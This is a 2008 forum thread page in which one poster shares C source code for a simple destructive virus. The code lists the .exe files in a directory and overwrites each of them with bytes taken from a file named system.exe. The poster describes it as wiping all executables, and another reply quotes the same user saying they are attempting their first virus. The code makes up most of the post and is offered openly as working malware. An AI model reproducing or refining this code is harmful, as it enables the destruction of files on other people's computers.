Kittyradio Forums
Go Back   Kittyradio Forums > real world > computers & technology


Reply
 
LinkBack Thread Tools Display Modes
  #21  
Old 08-30-2008, 11:36 AM
Silvine's Avatar
I'll give it 5!
 
Join Date: Apr 2006
Location: Dead or Alive
Posts: 3,562
Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute Silvine has a reputation beyond repute
Send a message via MSN to Silvine
Well, after a few hours I came up with the following revision of the kesh example (it did not compile - this compiles)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
FILE *list,*virus,*host;
char buff[2048];
int done;
char file_name[2048];
int x = 103974;
int main(void){

list = fopen("temp.txt","rb");
if(list == NULL)
{
system ( " dir /b *.exe > temp.txt " );
}
fclose(list);
list = fopen("temp.txt","r");
if(list == NULL)
{
printf("No .exe to infect");
} else
{
while(fgets(file_name,2048,list) != NULL)
{
file_name[strlen(file_name) - 1] = '\0';
virus = fopen("system.exe","rb");
host = fopen(file_name,"rb+");
if(host == NULL)
{
printf("No Host\n");
goto next;
} else if (file_name != "system.exe")
{
printf("Host %s\n",file_name);
while(x>2048)
{
printf("writing\n");
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
}
fclose(virus);
fclose(host);
}
}
next:
fclose(list);
}

All it does is wipe all the .exes in a directory and is contained to one directory. So, if you compile this program and run it inside the system folder you're pretty much fucking your self over big time...

Reply With Quote
  #22  
Old 08-30-2008, 01:08 PM
spasmachine's Avatar
M. Kahn is bent
 
Join Date: May 2007
Location: SYMM
Posts: 1,559
spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute spasmachine has a reputation beyond repute
I hate to interupt all the dog-wagging, but it's almost certainly that you hid your status/taskbars without realising and they got saved in that state than any sort of virus.
__________________
His last request was a bulletproof vest or a god
Reply With Quote
  #23  
Old 09-01-2008, 06:05 AM
anenome's Avatar
this isn't you yet
 
Join Date: Feb 2007
Posts: 623
anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute anenome has a reputation beyond repute
^ yah hopefully


Quote:
Originally Posted by Silvine View Post
I'm attempting my first virus now
Reply With Quote
Reply

Tags
bar , start , task

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
The Croatian Thread 2 quince foreign language 1220 01-01-2008 10:24 AM
tl;dr cjohnson2492 the void 10 01-01-2008 04:11 AM

 
Forum Stats
Members: 16,664
Threads: 48,541
Posts: 1,285,016
Total Online: 51

Newest Member: Scott Fall

Follow Kittyradio

Latest Threads
- by Sophia_



All times are GMT -7. The time now is 03:31 AM.

Top

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2

Site content: Copyright © 2006-2008 kittyradio.com
Any unauthorized usage and/or quotations from this site on other web sites
or in the press are copyright violations and will be pursued as such.
Violators will be prosecuted under United States copyright laws.